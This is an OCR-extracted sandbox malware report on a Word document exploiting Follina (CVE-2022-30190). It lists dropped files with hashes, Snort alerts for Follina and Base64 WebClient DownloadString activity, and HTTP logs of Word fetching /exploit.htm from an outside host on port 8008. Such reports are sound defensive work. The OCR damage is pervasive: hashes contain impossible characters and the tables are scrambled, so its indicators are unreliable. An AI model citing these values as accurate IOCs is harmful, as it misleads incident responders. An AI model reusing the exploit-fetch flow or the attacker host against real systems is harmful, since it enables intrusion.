C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

PNG image data, 493 x 237, 8-bit/color RGBA, non-interlaced

dropped

184356

7.989908339576132

false
3072:jUKT4LKebSEdyKTPq2EIMAwHUS5YDv4QUYKoxkX0gg4HS+NcqGTtjilf+2Z+pyl3/:wzLKebS0hzgnM4wHguUY IxWvqD8P+sIP
C02C455F5D77DF5AE8BIF638C8EF8854

F3F8C9A5C20DABDDI1FE99D05197F6D11BA9484AF
5E07AC7BFE2C65429ACDBD281COE9B92F5A382E4FFF699741E8D085F7EAD17DE
10FBE8BD48F22E26250206B84F2C4D3220C8E8FDC622FD33576A796856 CFAAA467F6D5FIDD87AFEIDE242FBSEEA27F6E13A743B8231F932FF494E88C710ECS6F

...IDATX*..Y.d.g....+......hIDc.wW..NJ.Q...H....a.~ }....g..lfd kc...n @. v...{u..g.3..GXfTV5....gb.....X...30="Y....V.e....v...." .8+.=,dY.G\0..y.@....
1Ze3...$.h4.1&. .s.FV....yS.p...,..2..9.L..p...Z.@>W....etp........ f$Lrzx.>... #.6ta..=.s..yLE.~+. . +.@.y..EY..0...=F, . .Ef...+.\xD..J.e..Y$h4 & P.A 2. . .
=1.2.8..1eKLIYS.@YUV.. %G K.....C=/T..Q..hi.z../T...d..l....G...h.P7..i..80.u~"a..\.EZ\.t. 3T............. g..N.Q..y...P....1"@.<....-.vS.bC.GZW..=.C.(..].qge..f.n.6.2..
(m...+?.|VYV.,+g6..n..,05].F* Xm..&...&.EM.@....V.r.....ft.rlUE....P..z.2"}..S..l4. x<V.<..x...].._"?.*]. 4@.p.-Y./.5WI1..B..Q..x..-"K.?;.~h.....; 0g<........ @..w.|
<.?.R..#C..Y-..2.2.0p,%7?i..uT..T. ..G;,_/H#@.e....\31l..e.RH-.../ * k-l..g.....p..x.e..e.ztV.C.m./..E.  k.........A..N.2.e.SpZ)?.6..B?E..SdCZ/..e.jt..AG...X( 0.
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{365EE8EB-26DD-4793-A79E-4CD05254F7C9}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 6144

Entropy (8bit):  2.193154020020311

Encrypted: false

SSDEEP: 24:rOheRLp07US2GRXhR1iUthtE1sR1i72GRXhbhMi72GRXI:riD24X1iS51i724Vqi724

MDS5: 47DE66F0D409B5DCA1C5A74F93197E3B

SHAL: E2F2B6C4C25C531C9247509D900D09FAFFD7CCC3

SHA-256: BDBF2FA4C228CB0038E3D3D5D63BE3D445C1CF19774AC7F7BAB5B31CD3DECDBD

SHA-512: 4755E1DBE64B77022440CFA730204DC9CDD7D34558CA98F428315A008E7B72498A55445BB1B4C8D5F24F2C19C6592EEQ09FA15DFD301A5CD3926C9DOF5387731
Malicious: false

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0OF1199C9-FFD7-4240-8F04-53D52631A074}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 2

Entropy (8bit): 1.0

Encrypted: false

SSDEEP: 3:X:X

MD5: 32649384730B2D61C9E79D46DES89115

SHA1L: 053D8D6CEEBA9453C97D0OEES374DB863E6F77AD4

SHA-256: E545D395BB3FD971F91BF9A2B6722831DF704EFAE6C1AA9DAO989ED0970B77BB

SHA-512: A4944ADFCB670ECD1A320FF126E7DBC7FC8CCAD5E73696D43C404E1C9BB5F228CF8AGEC1EIB1820709AD6D4D28093B7020B1B2578FDBC764287F86F888C07!
9C

Malicious: false

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E3D2E09D-939E-4CE8-8CEF-3005BD062461}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 2828

Entropy (8bit):  5.711486827536375

Encrypted: false

SSDEEP: 48:190P62VCDYX0Y59VY CG+stp0//PWZmVx77K5Y1VWMqDJIQ/nbp0:ImIZz5nY+8IBEJQTpO

MD5: 985DDDOB25EBF55AE27458B1235FCEC6

SHA1L: 5DB27EE086681CA58169ED02A82333A4CCC2466B

SHA-256: 678804E2C39F405A132A2CFC4DAC2A4855F10A98137C28CE6D3ABEACB2C7CB7B

SHA-512: 7668711CEBBD48C7E15905105477DB8D3EB292FCAEB7E15CDC3B689BE3DED9B83A3C420A66ED6BFBA860B51737985F08948D7D6837CC7CC27E2F210C09FC8
FC

Malicious: false

Preview: ..N.V._.beuHrs.1.2.._R.5..[.9.T.N ..s."y...g.e._R.;eeu..5.[.N....sQ..O\+.*Y.SHa+.!..e.Y/..]Ha .sQ..0\&"*}kbCS.Q+..v.|.QLe..*Y.SHa+..b.Q._.h+.S_.gd.Q..!..e. Y& :Nfk..5..

Tw.5.%..0.5..MR.g.O k...N,....N*Nfk.\.W,g../f}v.g..FO/f.N.eOR.N-N.g...W,g.Nz..z.4l..(W.T.s.kOR7..~.e.P.b.JHa&"* .N.~uQ..=\._GS.T.s.k...*N5..[ NAS.~MR/F*NNW...NAS.
~TA8N_....TD.N.N.Y.v\}v.~Kb.0../...5..[N....sQ..+.5Q..0\+.0..* .sQ..&"{b_5.+.1.9..P.{..sQ..0\&"nc4l.eeh+.R..JuQ..0.. & .Z..a..N+..~vQrlS....NWYsQ.Y.v.
et DV P PP ST OPRROPTON

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F2A88E0D-A9AE-4C78-97ED-928ECF332904}.tmp

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit):  0.05390218305374581
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Encrypted:
SSDEEP:
MDS5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

false

3:0l3lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AE84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28E
A4

false

C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C39E5F92BCDO}

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

131072

0.0255932170100285

false

6:13DPc1x60FvxggLRj6Aj0+IpRXv//4tfnRujlw/+Gtlud/eRuj:I3DPkxbpPvg+1vYg3J/
AB727153D355FCB89A4DDOF778DB5504
88523811C7F9B235D6FE4B601E4CIDDB8070A72F
56EF8D395A20E46295410DD854C67EE2AE49AFBDFF5F2D2EB27CA9A16481AA3C
1594340344098975785F846B957888FBI3E1FFCOF3ABEABC95834645C8D758F80AEB33BA4630C4F307A64F98ACAF8176CIBE9207C8744375C4560FFB2151C20B
false

M.eFy...z...q.K.t..z...S,..X.F...Fa.q.

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F148AEE50BE1}

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

131072

0.025545224349082966

false

6:13DPcrRvxggLRIQI+VAZ+pRXV//4tfnRujlw//+Gtlud/eRuj:13DPypQI+HHvYg3J/
8B61E4E8242D0961EA9025B656A013E6
0A9C2887993588A0BA822A3F2159F8615CD6482B
3D97D4A53F94F3D859C0488F5B3DB1C7177DC575485332BD693B3D6F7D53D98E

3EE33B89CBYAGF36DADADADE7DA78826 ADAACE5AF69A021D8FICA8E3EICCAF16125EB6141D75B8277F907A5861D64B95B0745FCE2DF676160F9FDC8FB47CE
292

false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ZDhoKQk8G6.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:54 2022, mtime=Tue Mar 8 15:45:54 2022,
atime=Wed Jun 15 13:11:14 2022, length=449949, window=hide

dropped

1019

4.5762421575069645

false
12:81180gXg/XAICPCHaXBKBnB/xQpX+WAclGaiEazjuicvb8X9M804TazNDtZ3Yil2:8Ak/XTRKJIIKdthNegM8aDv3qdwY 7h
32CF2F9FC38195E95F72206961AE587C

B9A93790175F263CA9264FE176C7A3939CELE7C3
DOAEO7AF5C7F3745B60A89DEG9F01D6039DCB11BA2357D20B4D17688D21DEB7B
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SHA-512: A38940EEE57924015DA87622A835B6BDFB60BE4C71CFAL17E54634A52C5AAD58FC02711539DAFEF8DFC6591593F19487AC120F965F77AAFFID2A97A2COFCOAF!
0

Malicious: false

Preview:

.21.8.1.3....L.1. .hT....user.S .
.7.6.9.....h.2..... Thq .ZDHOKQ~1.DOC..L.....hT..hT..*.
\Users.user\Desktop\ZDhoKQk8G6.docx.&.....\.....\.....\

hT... Desktopd ...... QKXhT*
ZDhoKQkSGG .d.o.cX.....y...

.D.esskto.p..@.s.hell32.dll,.-21
..Ci\Users\. #.....occenee \374653

.1.-5.-21.-96.6.7.7.1.3.1.5.-3.0.1.9.4.0.5.6.3.7 .- 367336477 .1.0.0.6... _..W3NLLWLLO.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 72

Entropy (8bit):  4.824535814767059

Encrypted: false

SSDEEP: 3:bDuMJIntd+pruYVomxWOhNxd+pruYVov:bCstMj7xMjy

MD5: 0B27580E2EF503551637D1B2B325B07C

SHAL: B861428A3D29FD19167867B18E7C5A6B1C052F9B

SHA-256: 85D83675D7ADEG632A4EE881D9F2C48C3B5AC1A4698800DB416BBACA7346FB2EB

SHA-512: DB8AFOCA7BE5S345689B8ED4D26D64079E98EB75507FC41735464A85E449B70E8432B21F2ED0224A0B92F9B3616BFAFACO5AF7BOAAL4ED23A810FA7EBFIF11ELC
4

Malicious: false

Preview: [folders]..Templates.LNK=0..ZDhoKQk8G6.LNK=0..[misc]..ZDhoKQk8G6.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit):  2.4797606462020303

Encrypted: false

SSDEEP: 3:vrJlaCkWiVyAl/ugXIimW4eedin:vdsCkWtplGgXvdl

MD5: 1674A1C7C99CD9FAADA789F5E2AEB335

SHA1L: 26D9E81D5ED584A899A94D5EA8945A5AE3403F85

SHA-256: BB5FOD32EOE1C8B6865FCE4AE1FC50E34CA954B89E771364A6BEG627F7C726B6

SHA-512: B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0OF1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03E0Z
C

Malicious: false

Preview:

C:\Users\user\Desktop\~$hoKQk8G6.docx

Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit):  2.4797606462020303

Encrypted: false

SSDEEP: 3:vrJlaCkWiVyAl/ugXimW4eedIn:vdsCkWiplGgXvdl

MD5: 1674A1C7C99CDIFAADA789F5E2AEB335

SHAL: 26D9E81D5ED584A899A94D5EA8945A5AE3403F85

SHA-256: BB5FOD32E0E1C8B6865FCE4AE1FC50E34CA954B89E771364A6BE6627F7C726B6

SHA-512: B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0OF1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03E0QZ
C

Malicious: false

Preview: LUSET ittt Alb.us....... Peveeens 120 22 @32.....ccu 32....Zu p42....X...

Static File Info
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General

File type: Microsoft OOXML
Entropy (8bit): 7.994153126444351

TriD: e Word Microsoft Office Open XML Format document (49504/1) 49.01%
e Word Microsoft Office Open XML Format document (43504/1) 43.07%

e ZIP compressed archive (8000/1) 7.92%

File name: ZDhoKQk8G6.docx

File size: 449949

MD5: b64108b4dbb4ccOceeca091289d3c3e6

SHAL: adleb7107e76f8d75cdb2c3a8cc39179dd490ef0

SHA256: 52b48c4b2f4a63fc6611dea7e9146a440d41e306143788ea20c56c3ab292cf00

SHA512: e3446e893cedc19a6b3dfh931d830f8467139f418fc851c47f638974dfe665cac8beabdech5f15e087a9eblas5c5bh59c63e4606f8f55b5ed1171ec4aed22d905
SSDEEP: 12288:LMLNbENsH8SUY8ceFI3b0tZ80HxVcsg/DKkxOIB:gRbEnsH8AeFIrOtFRVcsMKkJB

TLSH: 10A423E102FAA020F6B1095377D3230769414A7EB8B5438DCE2B765F54E37E896B24CD

File Content PK..oool T..). R [Content_Types].xml...j.0.E.....6.J.(.....e.h...4vD.BR"..Q.......... SO o T (O > .p+..K.=}H."3.)k.$..d<..N7.B.j.J2..=S..4.u.RY.YW_S...> . [...
Preview: <&.2..B..*fok\nH..I.....H..i..TxPaO..S...u.4b.+.1.....1..G.RX.N

File lcon

Icon Hash: ede6a2a2adb4bdad

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
117.48.146.246192.168.2. TCP 202394
228008491782023942 2
06/15/22-

07:10:36.033223

117.48.146.246192.168.2. TCP 203672
228008491782036726 6
06/15/22-

07:10:36.033223

117.48.146.246192.168.2. TCP 202394
228008491782023941 1
06/15/22-

07:10:36.033223

117.48.146.246192.168.2. TCP 202394
228008491812023941 1
06/15/22-

07:10:38.181098

117.48.146.246192.168.2. TCP 202394
228008491812023942 2
06/15/22-

07:10:38.181098

117.48.146.246192.168.2. TCP 203672
228008491812036726 6
06/15/22-

07:10:38.181098

TCP Packets

Timestamp

Jun 15, 2022 07:10:20.092658043 CEST
Jun 15, 2022 07:10:20.358961105 CEST
Jun 15, 2022 07:10:20.359108925 CEST
Jun 15, 2022 07:10:20.359492064 CEST
Jun 15, 2022 07:10:20.625736952 CEST
Jun 15, 2022 07:10:20.626101971 CEST
Jun 15, 2022 07:10:20.626133919 CEST
Jun 15, 2022 07:10:20.626219034 CEST
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Message

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M2

ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022-

30190)

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M1

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M1

ET TROJAN Possibly Malicious Base64 Unicode WebClient DownloadString M2

Source Dest

Port

8008

8008

8008

8008

8008

ET EXPLOIT Possible Microsoft Support Diagnostic Tool Exploitation Inbound (CVE-2022- 8008

30190)

Source Port
49173

8008

49173

49173

8008

8008

8008

49173

Dest Port
8008
49173
8008
8008
49173
49173
49173
8008

Source IP
192.168.2.22
117.48.146.246
192.168.2.22
192.168.2.22
117.48.146.246
117.48.146.246
117.48.146.246
192.168.2.22

Source IP
Port

49178  117.48.146.2
46

49178  117.48.146.2
46

49178  117.48.146.2
46

49181 117.48.146.2
46

49181  117.48.146.2
46

49181  117.48.146.2
46

Dest IP
117.48.146.246
192.168.2.22
117.48.146.246
117.48.146.246
192.168.2.22
192.168.2.22
192.168.2.22
117.48.146.246

Dest IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jun 15, 2022 07:10:20.626275063 CEST 49173 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:20.626656055 CEST 49173 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:20.892719030 CEST 8008 49173 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:26.894349098 CEST 49174 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:27.158770084 CEST 8008 49174 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:27.158993959 CEST 49174 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:27.159310102 CEST 49174 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:27.423584938 CEST 8008 49174 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:27.424031019 CEST 8008 49174 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:27.424055099 CEST 8008 49174 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:27.424156904 CEST 49174 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:27.425761938 CEST 49174 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:27.690138102 CEST 8008 49174 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:31.470498085 CEST 49175 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:31.725644112 CEST 8008 49175 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:31.725795984 CEST 49175 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:31.726026058 CEST 49175 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:31.981231928 CEST 8008 49175 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:31.981645107 CEST 8008 49175 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:31.981693029 CEST 8008 49175 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:31.981761932 CEST 49175 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:31.982180119 CEST 49175 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:32.237199068 CEST 8008 49175 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:34.445723057 CEST 49176 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:34.666729927 CEST 8008 49176 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:34.666924953 CEST 49176 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:34.670793056 CEST 49176 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:34.891483068 CEST 8008 49176 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:34.891915083 CEST 8008 49176 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:34.891959906 CEST 8008 49176 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:34.892024994 CEST 49176 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:34.892211914 CEST 49176 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:34.909142017 CEST 49177 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.112771988 CEST 8008 49176 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.182569981 CEST 8008 49177 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.182718039 CEST 49177 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.182955027 CEST 49177 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.456417084 CEST 8008 49177 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.456864119 CEST 8008 49177 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.456901073 CEST 8008 49177 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.456954002 CEST 49177 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.457007885 CEST 49177 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.519777060 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.730236053 CEST 8008 49177 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.775444984 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:35.775731087 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:35.776213884 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.032572985 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033222914 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033334970 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.033478975 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033510923 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033538103 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033565998 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033570051 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.033584118 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.033588886 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.033596992 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.033617020 CEST 49178 8008 192.168.2.22 117.48.146.246
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Timestamp Source Port Dest Port Source IP Dest IP

Jun 15, 2022 07:10:36.033636093 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.038124084 CEST 49178 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.295587063 CEST 8008 49178 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.539437056 CEST 49179 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.804182053 CEST 8008 49179 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:36.804420948 CEST 49179 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:36.806541920 CEST 49179 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.071590900 CEST 8008 49179 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.072026968 CEST 8008 49179 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.072043896 CEST 8008 49179 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.072360039 CEST 49179 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.072402000 CEST 49179 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.135569096 CEST 49180 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.336937904 CEST 8008 49179 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.390664101 CEST 8008 49180 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.390815973 CEST 49180 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.390980005 CEST 49180 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.645345926 CEST 8008 49180 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.646136999 CEST 8008 49180 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.646164894 CEST 8008 49180 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.646297932 CEST 49180 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.646500111 CEST 49180 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.663650990 CEST 49181 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.900646925 CEST 8008 49180 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.921833992 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:37.921921968 CEST 49181 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:37.922209024 CEST 49181 8008 192.168.2.22 117.48.146.246
Jun 15, 2022 07:10:38.180035114 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:38.181097984 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:38.181127071 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:38.181153059 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:38.181178093 CEST 8008 49181 117.48.146.246 192.168.2.22
Jun 15, 2022 07:10:38.181200027 CEST 8008 49181 117.48.146.246 192.168.2.22

HTTP Request Dependency Graph

e 117.48.146.246:8008

HTTP Packets
Session ID Source IP Source Port Destination IP  Destination Port Process
0 192.168.2.22 49173 117.48.146.246 8008 C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Timestamp L Direction Data
transferred
Jun 15, 2022 1 ouT OPTIONS / HTTP/1.1
07:10:20.359492064 User-Agent: Microsoft Office Protocol Discovery
CEST Host: 117.48.146.246:8008
Content-Length: 0
Connection: Keep-Alive
Jun 15, 2022 2 IN HTTP/1.1 200 OK
07:10:20.626133919 Date: Wed, 15 Jun 2022 05:10:20 GMT
CEST Content-Type: text/html
Content-Length: 0
Allow: OPTIONS,GET,HEAD,POST
Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.22 49174 117.48.146.246 8008 C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
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Timestamp

Jun 15, 2022
07:10:27.159310102
CEST

Jun 15, 2022
07:10:27.424031019
CEST

Session ID

2

Timestamp

Jun 15, 2022
07:10:31.726026058
CEST

Jun 15, 2022
07:10:31.981645107
CEST

Session ID

3

Timestamp

Jun 15, 2022
07:10:34.891915083
CEST

Session ID

4

Timestamp

Jun 15, 2022
07:10:35.456864119
CEST

Session ID

5

Timestamp

Jun 15, 2022
07:10:35.776213884
CEST

Jun 15, 2022
07:10:36.033222914
CEST

kBytes
transferred

3

Source IP

192.168.2.22

kBytes
transferred

3

Source IP

117.48.146.246

kBytes
transferred

4

Source IP

117.48.146.246

kBytes
transferred

5

Source IP

192.168.2.22

kBytes
transferred

6
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Direction

ouT

Source Port

49175

Direction

ouT

Source Port

8008

Direction

IN

Source Port

8008

Direction

IN

Source Port

49178

Direction

ouT

Destination IP

117.48.146.246 8008

Destination IP

192.168.2.22 49176

Destination IP

192.168.2.22 49177

Destination IP

117.48.146.246 8008

Data

HEAD /exploit.htm HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft Office Existence Discovery
Host: 117.48.146.246:8008

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:27 GMT
Content-Type: application/octet-stream
Content-Length: 5982

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

OPTIONS / HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
translate: f

Host: 117.48.146.246:8008

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:31 GMT
Content-Type: text/html
Content-Length: 0

Allow: OPTIONS,GET,HEAD,POST

Destination Port Process

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Data

HTTP/1.1 404 Not Found

Date: Wed, 15 Jun 2022 05:10:34 GMT
Content-Type: text/plain
Content-Length: 0

Destination Port Process

C:\Program Files\Microsoft Office\Office lL4\WINWORD.EXE

Data

HTTP/1.1 404 Not Found

Date: Wed, 15 Jun 2022 05:10:35 GMT
Content-Type: text/plain
Content-Length: 0

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

GET /exploit.htm HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)

UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: 117.48.146.246:8008
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:35 GMT
Content-Type: application/octet-stream
Content-Length: 5982
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Session ID

6

Timestamp

Jun 15, 2022
07:10:36.806541920
CEST

Jun 15, 2022
07:10:37.072026968
CEST

Session ID

7

Timestamp

Jun 15, 2022
07:10:37.390980005
CEST

Jun 15, 2022
07:10:37.646136999
CEST

Session ID

8

Timestamp

Jun 15, 2022
07:10:37.922209024
CEST

Jun 15, 2022
07:10:38.181097984
CEST

Session ID

9

Timestamp

Jun 15, 2022
07:10:38.896841049
CEST

Jun 15, 2022
07:10:39.150418043
CEST

Statistics

Source IP

192.168.2.22

kBytes
transferred

13

14

Source IP

192.168.2.22

kBytes
transferred

14

14

Source IP

192.168.2.22

kBytes
transferred

15

15

Source IP

192.168.2.22

kBytes
transferred

22

22
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Source Port

49179

Direction

ouT

Source Port

49180

Direction

ouT

Source Port

49181

Direction

ouT

Source Port

49182

Direction

ouT

Destination IP

117.48.146.246 8008

Destination IP

117.48.146.246 8008

Destination IP

117.48.146.246 8008

Destination IP

117.48.146.246 8008

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

HEAD /exploit.htm HTTP/1.1

User-Agent: Microsoft Office Existence Discovery
Host: 117.48.146.246:8008

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:36 GMT
Content-Type: application/octet-stream
Content-Length: 5982

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

HEAD /exploit.htm HTTP/1.1

Connection: Keep-Alive

User-Agent: Microsoft Office Existence Discovery
Host: 117.48.146.246:8008

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:37 GMT
Content-Type: application/octet-stream
Content-Length: 5982

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

GET /exploit.htm HTTP/1.1
Accept: */*

